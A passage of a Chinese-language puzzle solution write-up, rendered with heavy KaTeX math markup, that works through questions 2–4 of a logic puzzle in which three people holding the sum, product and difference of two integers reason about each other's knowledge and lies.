class="mclose">)}</span></span></span></span></p></li><li><p>查表可知乙-2、丙-3、乙-5所述都是甲已知的資訊，且他也知道丙在聽完他說的話之後便知道他在說謊，因此無從排除任何組合。</p></li><li><p>至於丙-6，由於甲可以做出我們在求解第1題時做出的推理，進而得出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span>，與上一題的答案取交集，甲據他所知所有他認為有可能的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>所組成的最小集合為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{(3,9),(4,8)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)}</span></span></span></span></p></li></ul></details><h3 id="%E7%AC%AC3%E9%A1%8C" tabindex="-1" id="第3題">第3題</h3><details><summary>點我展開</summary><p>接著是第3題，首先，乙在遊戲一開始便知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的確切數值。接著考慮甲，由第2題知至丙-6，他已將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的可能性縮減到剩下兩種，而他在聽到乙-8時便知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>。至於丙，由於他拿到的數為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">6</span></span></span></span>，在遊戲一開始他便認知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(2,8),(3,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span>，而丙對甲-4做出與我們在解第1題時相同的推理便能排除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span>這組可能。</p><table><thead><tr><th>角色</th><th>何時知道</th><th>關鍵</th></tr></thead><tbody><tr><td>乙</td><td>對話開始之前</td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>=</mo><mn>27</mn></mrow><annotation encoding="application/x-tex">xy=27</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">27</span></span></span></span>可唯一分解</td></tr><tr><td>丙</td><td>甲-4後</td><td>甲知道乙知道，因而排除了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span>的可能</td></tr><tr><td>甲</td><td>乙-8後</td><td>乙-8的謊話使甲知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>皆為奇數</td></tr></tbody></table></details><h3 id="%E7%AC%AC4%E9%A1%8C" tabindex="-1" id="第4題">第4題</h3><details><summary>點我展開</summary><p>在來是第4題，由上我們可知只保留甲-1~甲-4，丙便能判斷出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>是什麼。我們來看各句話分別有什麼功能</p><blockquote><p>甲：我不知道這兩個數是什麼，但我知道這兩個數中一定有奇數<br>乙：我不知道這兩個數是什麼<br>丙：我不知道這個數是什麼，不過甲在說謊<br>甲：乙不知道這兩個數是什麼</p></blockquote><p>遊戲開始前：</p><p>甲知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,7)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span class="mclose">)}</span></span></span></span></p><p>乙知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span></p><p>丙知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(2,8),(3,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span></p><table><thead><tr><th>甲-1</th><th>乙-2</th><th>丙-3</th><th>甲-4</th></tr></thead><tbody><tr><td>讓丙知道甲為F</td><td>未給甲、丙新資訊</td><td>未給甲新資訊</td><td>使丙排除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span></td></tr></tbody></table><p>我們因而知道乙-2、丙-3也都可刪去。進一步我們還可以發現丙在一開始就知道乙知道了，因此憑甲-4就能知道甲為F，因此甲-1亦可刪去，因此<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值為8，刪去後只保留甲-4。</p><p>我們示範一下丙如何藉此進行推理：</p><p>丙：「根據我手上的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">x-y=-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">6</span></span></span></span>，我知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(2,8)\vee(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，經由查表我發現對這兩種情形，乙都在一開始就能知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>是什麼了，但甲卻說『乙不知道』，因而甲一定在說謊。而既然甲會這麼說，代表他也知道『乙知道』，才能保證他說的是謊話，若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(2,8)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span></span></span></span>，那麼甲拿到的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y=10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>，但<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(4,6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span>就是一組使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y=10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>但乙不知道的組合，也就是甲如果拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y=10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>，他將無法確定乙一定知道，從而必有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>」</p></details><h1 id="wtf" tabindex="-1">WTF</h1><p>解完這題後，來看一題<s>較簡單</s>的題目(閹割自第四小題)</p><p>小明選取了兩個正整數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>，滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>&lt;</mo><mi>x</mi><mo>&lt;</mo><mi>y</mi><mo>&lt;</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">1&lt;x&lt;y&lt;10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>，他將<span class="katex"><span 